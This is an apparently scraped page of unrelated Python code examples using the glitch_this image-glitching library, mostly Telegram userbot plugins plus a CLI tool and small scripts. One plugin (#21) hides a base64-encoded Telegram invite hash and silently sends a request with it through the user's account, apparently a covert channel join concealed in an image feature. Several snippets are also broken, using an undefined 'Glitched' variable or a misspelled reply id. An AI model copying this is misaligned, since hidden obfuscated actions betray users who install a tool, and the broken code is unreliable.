        '-fr',
        '--frames',
        dest='frames',
        metavar='Frames',
        type=int,
        default=23,
        help='How many frames to include in GIF, defaults to 23'
        '\nNOTE: Does nothing if input image is GIF, i.e when using `-ig`')
    argparser.add_argument(
        '-d',
        '--duration',
        dest='duration',
        metavar='Duration',
        type=int,
        default=200,
        help='How long to display each frame (in centiseconds), defaults to 200'
    )
    argparser.add_argument(
        '-l',
        '--loop',
        dest='loop',
        metavar='Loop_Count',
        type=int,
        default=0,
        help='How many times the glitched GIF should loop, defaults to 0 '
        '(i.e infinite loop)')
    argparser.add_argument(
        '-ig',
        '--inputgif',
        dest='input_gif',
        action='store_true',
        help='If input image is GIF, use for glitching GIFs to GIFs! '
        'Defaults to False\nNOTE: This is a slow process')
    argparser.add_argument(
        '-f',
        '--force',
        dest='force',
        action='store_true',
        help=
        'If included, overwrites existing output file of same name (if found)'
        '\nDefaults to False')
    argparser.add_argument(
        '-o',
        '--outfile',
        dest='outfile',
        metavar='Outfile_path',
        type=str,
        help='Explictly supply the full or relative `path/filename`\
                           \nDefaults to ./glitched_src_image_path')
    args = argparser.parse_args()

    # Sanity check inputs
    if not args.duration > 0:
        raise ValueError('Duration must be greater than 0')
    if not args.loop >= 0:
        raise ValueError('Loop must be greater than or equal to 0')
    if not args.frames > 0:
        raise ValueError('Frames must be greater than 0')
    if not os.path.isfile(args.src_img_path):
        raise FileNotFoundError('No image found at given path')

    # Set up full_path, for output saving location
    out_path, out_file = os.path.split(Path(args.src_img_path))
    out_filename, out_fileex = out_file.rsplit('.', 1)
    out_filename = 'glitched_' + out_filename
    # Output file extension should be '.gif' if output file is going to be a gif
    out_fileex = 'gif' if args.gif else out_fileex
    if args.outfile:
        # If output file path is already given
        # Overwrite the previous values
        out_path, out_file = os.path.split(Path(args.outfile))
        if out_path != '' and not os.path.exists(out_path):
            raise Exception('Given outfile path, ' + out_path +
                            ', does not exist')
        # The extension in user provided outfile path is ignored
        out_filename = out_file.rsplit('.', 1)[0]
    # Now create the full path
    full_path = os.path.join(out_path, '{}.{}'.format(out_filename,
                                                      out_fileex))
    if os.path.exists(full_path) and not args.force:
        raise Exception(
            full_path + ' already exists\nCannot overwrite '
            'existing file unless -f or --force is included\nProgram Aborted')

    # Actual work begins here
    glitcher = ImageGlitcher()
    t0 = time()
    if not args.input_gif:
        # Get glitched image or GIF (from image)
        glitch_img = glitcher.glitch_image(args.src_img_path,
                                           args.glitch_level,
                                           scan_lines=args.scan_lines,
                                           color_offset=args.color,
                                           gif=args.gif,
                                           frames=args.frames)
    else:
        # Get glitched image or GIF (from GIF)
        glitch_img, src_duration, args.frames = glitcher.glitch_gif(
            args.src_img_path,
            args.glitch_level,
            scan_lines=args.scan_lines,
            color_offset=args.color)
        args.gif = True  # Set args.gif to true if it isn't already in this case
    t1 = time()
    # End of glitching
    t2 = time()
    # Save the image
    if not args.gif:
        glitch_img.save(full_path, compress_level=3)
        t3 = time()
        print('Glitched Image saved in "{}"'.format(full_path))
    else:
        glitch_img[0].save(full_path,
                           format='GIF',
                           append_images=glitch_img[1:],
                           save_all=True,
                           duration=args.duration,
                           loop=args.loop,
                           compress_level=3)
        t3 = time()
        print(
            'Glitched GIF saved in "{}"\nFrames = {}, Duration = {}, Loop = {}'
            .format(full_path, args.frames, args.duration, args.loop))
    print('Time taken to glitch: ' + str(t1 - t0))
    print('Time taken to save: ' + str(t3 - t2))
    print('Total Time taken: ' + str(t3 - t0))

    # Let the user know if new version is available
    if not islatest(ImageGlitcher.__version__):
        print(
            'A new version of "glitch-this" is available. Please consider upgrading via `pip install --upgrade glitch-this`'
        )
コード例 #21
0
ファイル: glitch.py プロジェクト: hackelite01/plugins
async def glitch(marcus):
    if marcus.fwd_from:
        return
    cmd = marcus.pattern_match.group(1)
    marcusinput = marcus.pattern_match.group(2)
    reply = await marcus.get_reply_message()
    if not reply:
        return await edit_delete(marcus, "`Reply to supported Media...`")
    marcusid = await reply_id(marcus)
    may = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
    if not os.path.isdir("./temp"):
        os.mkdir("./temp")
    if marcusinput:
        if not marcusinput.isdigit():
            await marcus.edit("`You input is invalid, check help`")
            return
        marcusinput = int(marcusinput)
        if not 0 < marcusinput < 9:
            await marcus.edit("`Invalid Range...`")
            return
    else:
        marcusinput = 2
    glitch_file = await _marcustools.media_to_pic(marcus, reply)
    try:
        may = Get(may)
        await marcus.client(may)
    except BaseException:
        pass
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file[1])
    if cmd == "glitchs":
        glitched = os.path.join("./temp", "glitched.webp")
        glitch_img = glitcher.glitch_image(img, marcusinput, color_offset=True)
        glitch_img.save(glitched)
        await marcus.client.send_file(marcus.chat_id,
                                      glitched,
                                      reply_to=marcusid)
    elif cmd == "glitch":
        glitched = os.path.join("./temp", "glitched.gif")
        glitch_img = glitcher.glitch_image(img,
                                           marcusinput,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        mayank = await marcus.client.send_file(marcus.chat_id,
                                               glitched,
                                               reply_to=marcusid)
        await _marcusutils.unsavegif(marcus, mayank)
    await glitch_file[0].delete()
    for files in (glitch_file[1], glitched):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #22
0
ファイル: glitch.py プロジェクト: BristolMyers/ExelonTest
async def glitch(exelon):
    cmd = exelon.pattern_match.group(1)
    exeloninput = exelon.pattern_match.group(2)
    reply = await exelon.get_reply_message()
    exelonid = exelon.reply_to_msg_id
    exelon = await edit_or_reply(exelon, "```Glitching... 😁```")
    if not (reply and (reply.media)):
        await exelon.edit("`medya bulunamadı...`")
        return
    if not os.path.isdir("./temp/"):
        os.mkdir("./temp/")
    exelonsticker = await reply.download_media(file="./temp/")
    if not exelonsticker.endswith(('.mp4', '.webp', '.tgs', '.png', '.jpg')):
        os.remove(exelonsticker)
        await exelon.edit("`Media not found...`")
        return
    os.path.join("./temp/", "glitch.png")
    if exeloninput:
        if not exeloninput.isdigit():
            await exelon.edit("`Girdiğiniz geçersiz, yardıma bakın`")
            return
        exeloninput = int(exeloninput)
        if not 0 < exeloninput < 9:
            await exelon.edit("`Geçersiz Aralık...`")
            return
    else:
        exeloninput = 2
    if exelonsticker.endswith(".tgs"):
        exelonfile = os.path.join("./temp/", "glitch.png")
        exeloncmd = f"lottie_convert.py --frame 0 -if lottie -of png {exelonsticker} {exelonfile}"
        stdout, stderr = (await runcmd(exeloncmd))[:2]
        if not os.path.lexists(exelonfile):
            await exelon.edit("`exelonsticker bulunamadı...`")
            LOGS.info(stdout + stderr)
        glitch_file = exelonfile
    elif exelonsticker.endswith(".webp"):
        exelonfile = os.path.join("./temp/", "glitch.png")
        os.rename(exelonsticker, exelonfile)
        if not os.path.lexists(exelonfile):
            await exelon.edit("`exelonsticker bulunamadı... `")
            return
        glitch_file = exelonfile
    elif exelonsticker.endswith(".mp4"):
        exelonfile = os.path.join("./temp/", "glitch.png")
        await take_screen_shot(exelonsticker, 0, exelonfile)
        if not os.path.lexists(exelonfile):
            await exelon.edit("```exelonsticker bulunamadı...```")
            return
        glitch_file = exelonfile
    else:
        glitch_file = exelonsticker
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    if cmd == "glitchs":
        glitched = "./temp/" + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, exeloninput, color_offset=True)
        glitch_img.save(glitched)
        await borg.send_file(exelon.chat_id, glitched, reply_to=exelonid)
        os.remove(glitched)
        await exelon.delete()
    elif cmd == "glitch":
        Glitched = "./temp/" + "glitch.gif"
        glitch_img = glitcher.glitch_image(img,
                                           exeloninput,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(Glitched,
                           format='GIF',
                           append_images=glitch_img[1:],
                           save_all=True,
                           duration=DURATION,
                           loop=LOOP)
        sandy = await borg.send_file(exelon.chat_id,
                                     Glitched,
                                     reply_to=exelonid)
        await borg(
            functions.messages.SaveGifRequest(id=types.InputDocument(
                id=sandy.media.document.id,
                access_hash=sandy.media.document.access_hash,
                file_reference=sandy.media.document.file_reference),
                                              unsave=True))
        os.remove(Glitched)
        await exelon.delete()
    for files in (exelonsticker, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #23
0
async def glitch(event):
    if not event.reply_to_msg_id:
        await event.edit("`Aku Mau Glitch Sebuah Hantu!`")
        return
    reply_message = await event.get_reply_message()
    if not reply_message.media:
        await event.edit("`Bales Ke Gambar/Sticker`")
        return
    await bot.download_file(reply_message.media)
    await event.edit("`Sedang Mendownload Media....`")
    if event.is_reply:
        data = await check_media(reply_message)
        if isinstance(data, bool):
            await event.edit("`File Tidak Di Dukung...`")
            return
    else:
        await event.edit("`Balas Ke Media....`")
        return

    try:
        value = int(event.pattern_match.group(1))
        if value > 8:
            raise ValueError
    except ValueError:
        value = 2
    await event.edit("```Melakukan Glitch Pada Media Ini```")
    await asyncio.sleep(2)
    file_name = "glitch.png"
    to_download_directory = TEMP_DOWNLOAD_DIRECTORY
    downloaded_file_name = os.path.join(to_download_directory, file_name)
    downloaded_file_name = await bot.download_media(
        reply_message,
        downloaded_file_name,
    )
    glitch_file = downloaded_file_name
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    glitch_img = glitcher.glitch_image(img, value, color_offset=True, gif=True)
    DURATION = 200
    LOOP = 0
    glitch_img[0].save(
        Glitched,
        format="GIF",
        append_images=glitch_img[1:],
        save_all=True,
        duration=DURATION,
        loop=LOOP,
    )
    await event.edit("`Sedang Mengunggah Media Yang Telah Di Glitch`")
    c_time = time.time()
    nosave = await event.client.send_file(
        event.chat_id,
        Glitched,
        force_document=False,
        reply_to=event.reply_to_msg_id,
        progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
            progress(d, t, event, c_time, "[UPLOAD]")),
    )
    await event.delete()
    os.remove(Glitched)
    await bot(
        functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=nosave.media.document.id,
                access_hash=nosave.media.document.access_hash,
                file_reference=nosave.media.document.file_reference,
            ),
            unsave=True,
        ))
    os.remove(glitch_file)
    os.remove(Glitched)
コード例 #24
0
import logging
from wifi import Cell, Scheme
import os
import cv2
import numpy as np

keys = dict(TWITTER_CONSUMER_KEY="...",
            TWITTER_CONSUMER_SECRET="...",
            TWITTER_ACCESS_TOKEN="...",
            TWITTER_ACCESS_TOKEN_SECRET="...",
            GOPRO_SSID="...",
            GOPRO_PASSWORD="******",
            HOME_SSID="...",
            HOME_PASSWORD="******")

glitcher = ImageGlitcher()
os.system("nmcli dev wifi connect " + keys["GOPRO_SSID"] + " password " +
          keys["GOPRO_PASSWORD"])
time.sleep(2)
gopro = GoProCamera.GoPro()

auth = tweepy.OAuthHandler(keys['TWITTER_CONSUMER_KEY'],
                           keys['TWITTER_CONSUMER_SECRET'])
auth.set_access_token(keys['TWITTER_ACCESS_TOKEN'],
                      keys['TWITTER_ACCESS_TOKEN_SECRET'])
api = tweepy.API(auth)

while True:
    if input(">>> ") == "s":
        gopro.take_photo(1)
        print("Downloading!")
コード例 #25
0
async def glitch(event):
    if not event.reply_to_msg_id:
        await event.edit(
            "`Xahiş edirəm sadəcə Şəkil və ya Stiker-ə cavab verin.`")
        return
    reply_message = await event.get_reply_message()
    if not reply_message.media:
        await event.edit(
            "`Xahiş edirəm sadəcə Şəkil və ya Stiker-ə cavab verin.`")
        return
    await bot.download_file(reply_message.media)
    await event.edit("`Media yüklənir...`")
    if event.is_reply:
        data = await check_media(reply_message)
        if isinstance(data, bool):
            await event.edit("`Hazırlanır...`")
            return
    else:
        await event.edit("`Dəstəklənməyən fayl tipi....`")
        return

    try:
        value = int(event.pattern_match.group(1))
        if value > 8:
            raise ValueError
    except ValueError:
        value = 2
    await event.edit("```Effekt hazırlanır...```")
    await asyncio.sleep(2)
    file_name = "glitch.png"
    to_download_directory = TEMP_DOWNLOAD_DIRECTORY
    downloaded_file_name = os.path.join(to_download_directory, file_name)
    downloaded_file_name = await bot.download_media(
        reply_message,
        downloaded_file_name,
    )
    glitch_file = downloaded_file_name
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    glitch_img = glitcher.glitch_image(img, value, color_offset=True, gif=True)
    DURATION = 200
    LOOP = 0
    glitch_img[0].save(
        Glitched,
        format="GIF",
        append_images=glitch_img[1:],
        save_all=True,
        duration=DURATION,
        loop=LOOP,
    )
    await event.edit("`Hazırlanır...`")
    c_time = time.time()
    nosave = await event.client.send_file(
        event.chat_id,
        Glitched,
        force_document=False,
        reply_to=event.reply_to_msg_id,
        progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
            progress(d, t, event, c_time, "Fayl göndərilir...")),
    )
    await event.delete()
    os.remove(Glitched)
    await bot(
        functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=nosave.media.document.id,
                access_hash=nosave.media.document.access_hash,
                file_reference=nosave.media.document.file_reference,
            ),
            unsave=True,
        ))
    os.remove(glitch_file)
    os.remove(Glitched)
コード例 #26
0
async def glitch(lion):
    if lion.fwd_from:
        return
    cmd = lion.pattern_match.group(1)
    lioninput = lion.pattern_match.group(2)
    reply = await lion.get_reply_message()
    lionid = lion.reply_to_msg_id
    lion = await edit_or_reply(lion, "```Glitching... 😁```")
    if not (reply and (reply.media)):
        await lion.edit("`Media not found...`")
        return
    if not os.path.isdir("./temp/"):
        os.mkdir("./temp/")
    lionsticker = await reply.download_media(file="./temp/")
    if not lionsticker.endswith((".mp4", ".webp", ".tgs", ".png", ".jpg")):
        os.remove(lionsticker)
        await lion.edit("`Media not found...`")
        return
    os.path.join("./temp/", "glitch.png")
    if lioninput:
        if not lioninput.isdigit():
            await lion.edit("`You input is invalid, check help`")
            return
        lioninput = int(lioninput)
        if not 0 < lioninput < 9:
            await lion.edit("`Invalid Range...`")
            return
    else:
        lioninput = 2
    if lionsticker.endswith(".tgs"):
        lionfile = os.path.join("./temp/", "glitch.png")
        lioncmd = (
            f"lottie_convert.py --frame 0 -if lottie -of png {lionsticker} {lionfile}"
        )
        stdout, stderr = (await runcmd(lioncmd))[:2]
        if not os.path.lexists(lionfile):
            await lion.edit("`lionsticker not found...`")
            LOGS.info(stdout + stderr)
        glitch_file = lionfile
    elif lionsticker.endswith(".webp"):
        lionfile = os.path.join("./temp/", "glitch.png")
        os.rename(lionsticker, lionfile)
        if not os.path.lexists(lionfile):
            await lion.edit("`lionsticker not found... `")
            return
        glitch_file = lionfile
    elif lionsticker.endswith(".mp4"):
        lionfile = os.path.join("./temp/", "glitch.png")
        await take_screen_shot(lionsticker, 0, lionfile)
        if not os.path.lexists(lionfile):
            await lion.edit("```lionsticker not found...```")
            return
        glitch_file = lionfile
    else:
        glitch_file = lionsticker
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    if cmd == "glitchs":
        glitched = "./temp/" + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, lioninput, color_offset=True)
        glitch_img.save(glitched)
        await lion.client.send_file(lion.chat_id, glitched, reply_to=liinid)
        os.remove(glitched)
        await lion.delete()
    elif cmd == "glitch":
        Glitched = "./temp/" + "glitch.gif"
        glitch_img = glitcher.glitch_image(img, lioninput, color_offset=True, gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            Glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        mdnoor = await lion.client.send_file(lion.chat_id, Glitched, reply_to=lionid)
        await lion.client(
            functions.messages.SaveGifRequest(
                id=types.InputDocument(
                    id=mdnoor.media.document.id,
                    access_hash=mdnoor.media.document.access_hash,
                    file_reference=mdnoor.media.document.file_reference,
                ),
                unsave=True,
            )
        )
        os.remove(Glitched)
        await lion.delete()
    for files in (lionsticker, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #27
0
async def glitch(event):
    if not event.reply_to_msg_id:
        await event.edit("`Não vou falhar um fantasma!`")
        return
    reply_message = await event.get_reply_message()
    if not reply_message.media:
        await event.edit("`responda a uma imagem/sticker`")
        return
    await bot.download_file(reply_message.media)
    await event.edit("`Baixando mídia..`")
    if event.is_reply:
        data = await check_media(reply_message)
        if isinstance(data, bool):
            await event.edit("`Arquivos não suportados...`")
            return
    else:
        await event.edit("`Responda a qualquer mídia`")
        return

    try:
        value = int(event.pattern_match.group(1))
        if value > 8:
            raise ValueError
    except ValueError:
        value = 2
    await event.edit("```Falhando essa mídia```")
    await asyncio.sleep(2)
    file_name = "glitch.png"
    to_download_directory = TEMP_DOWNLOAD_DIRECTORY
    downloaded_file_name = os.path.join(to_download_directory, file_name)
    downloaded_file_name = await bot.download_media(
        reply_message,
        downloaded_file_name,
    )
    glitch_file = downloaded_file_name
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    glitch_img = glitcher.glitch_image(img, value, color_offset=True, gif=True)
    DURATION = 200
    LOOP = 0
    glitch_img[0].save(
        Glitched,
        format="GIF",
        append_images=glitch_img[1:],
        save_all=True,
        duration=DURATION,
        loop=LOOP,
    )
    await event.edit("`Enviando mídia falhada...`")
    c_time = time.time()
    nosave = await event.client.send_file(
        event.chat_id,
        Glitched,
        force_document=False,
        reply_to=event.reply_to_msg_id,
        progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
            progress(d, t, event, c_time, "[UPLOAD]")),
    )
    await event.delete()
    os.remove(Glitched)
    await bot(
        functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=nosave.media.document.id,
                access_hash=nosave.media.document.access_hash,
                file_reference=nosave.media.document.file_reference,
            ),
            unsave=True,
        ))
    os.remove(glitch_file)
コード例 #28
0
ファイル: glitch.py プロジェクト: AmirulAndalib/HellBot
async def glitch(hell):
    cmd = hell.pattern_match.group(1)
    hellinput = hell.pattern_match.group(2)
    reply = await hell.get_reply_message()
    hellid = hell.reply_to_msg_id
    hell = await edit_or_reply(hell, "Hahaha.... Glitching🤪")
    if not (reply and (reply.media)):
        await hell.edit("`Media not found...`")
        return
    if not os.path.isdir("./temp/"):
        os.mkdir("./temp/")
    hellsticker = await reply.download_media(file="./temp/")
    if not hellsticker.endswith((".mp4", ".webp", ".tgs", ".png", ".jpg")):
        os.remove(hellsticker)
        await hell.edit("`Media not found...`")
        return
    os.path.join("./temp/", "glitch.png")
    if hellinput:
        if not hellinput.isdigit():
            await hell.edit("`You input is invalid, check help`")
            return
        hellinput = int(hellinput)
        if not 0 < hellinput < 9:
            await hell.edit("`Invalid Range...`")
            return
    else:
        hellinput = 2
    if hellsticker.endswith(".tgs"):
        hellfile = os.path.join("./temp/", "glitch.png")
        hellcmd = (
            f"lottie_convert.py --frame 0 -if lottie -of png {hellsticker} {hellfile}"
        )
        stdout, stderr = (await runcmd(hellcmd))[:2]
        if not os.path.lexists(hellfile):
            await hell.edit("`hellsticker not found...`")
            LOGS.info(stdout + stderr)
        glitch_file = hellfile
    elif hellsticker.endswith(".webp"):
        hellfile = os.path.join("./temp/", "glitch.png")
        os.rename(hellsticker, hellfile)
        if not os.path.lexists(hellfile):
            await hell.edit("`hellsticker not found... `")
            return
        glitch_file = hellfile
    elif hellsticker.endswith(".mp4"):
        hellfile = os.path.join("./temp/", "glitch.png")
        await take_screen_shot(hellsticker, 0, hellfile)
        if not os.path.lexists(hellfile):
            await hell.edit("```hellsticker not found...```")
            return
        glitch_file = hellfile
    else:
        glitch_file = hellsticker
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    if cmd == "glitchs":
        glitched = "./temp/" + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, hellinput, color_offset=True)
        glitch_img.save(glitched)
        await borg.send_file(hell.chat_id, glitched, reply_to=hellid)
        os.remove(glitched)
        await hell.delete()
    elif cmd == "glitch":
        Glitched = "./temp/" + "glitch.gif"
        glitch_img = glitcher.glitch_image(img, hellinput, color_offset=True, gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            Glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        sandy = await borg.send_file(hell.chat_id, Glitched, reply_to=hellid)
        await borg(
            functions.messages.SaveGifRequest(
                id=types.InputDocument(
                    id=sandy.media.document.id,
                    access_hash=sandy.media.document.access_hash,
                    file_reference=sandy.media.document.file_reference,
                ),
                unsave=True,
            )
        )
        os.remove(Glitched)
        await hell.delete()
    for files in (hellsticker, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #29
0
ファイル: imagetools.py プロジェクト: xeon2020/FridayUserbot
import wget
from glitch_this import ImageGlitcher
from NoteShrinker import NoteShrinker
from PIL import Image, ImageDraw, ImageFont
from pygifsicle import optimize
from telegraph import Telegraph, exceptions, upload_file

from main_startup.config_var import Config
from main_startup.core.decorators import friday_on_cmd
from main_startup.core.startup_helpers import run_cmd
from main_startup.helper_func.basic_helpers import edit_or_reply, get_text
from main_startup.helper_func.plugin_helpers import (
    convert_to_image, convert_image_to_image_note, convert_vid_to_vidnote,
    generate_meme)

glitcher = ImageGlitcher()
DURATION = 200
LOOP = 0

telegraph = Telegraph()
r = telegraph.create_account(short_name="FridayUserBot")
auth_url = r["auth_url"]


@friday_on_cmd(
    ["hwn", "Improvisenote"],
    cmd_help={
        "help": "enhance the replied notes!",
        "example": "{ch}hnw (reply to Image)",
    },
)
コード例 #30
0
from glitch_this import ImageGlitcher
from PIL import Image
import os
from datetime import datetime

time_start = datetime.now()

# 1 - Defining a variable to use the glitch module
glitcher = ImageGlitcher()

# 2 - Defining the paths to get the images and output the glitched images
# 2.1 - Path of raw images
rawDir = r'C:\Users\conta\Pictures\Wallpapers'
# 2.2 - Path of glitched images (output)
modDir = r'C:\Users\conta\Pictures\WallsConverted'

# 3 - Making sure that the output folder exists
if os.path.exists(modDir) == False:
    os.makedirs(r'C:\Users\conta\Pictures\WallsConverted')

# 4 - Glitch the images of the desired folder
for rawImage in os.listdir(rawDir):
    start = datetime.now()
    img = Image.open(rawDir + "/" + str(rawImage))
    rgbImg = img.convert('RGB')
    glitchImage = glitcher.glitch_image(rgbImg, 10, color_offset=True)
    glitchImage.save(modDir + '/' + rawImage[:-4] + '-glitch.jpg')
    end = datetime.now()
    print(f'{rawImage} done in {end - start}!')

time_end = datetime.now()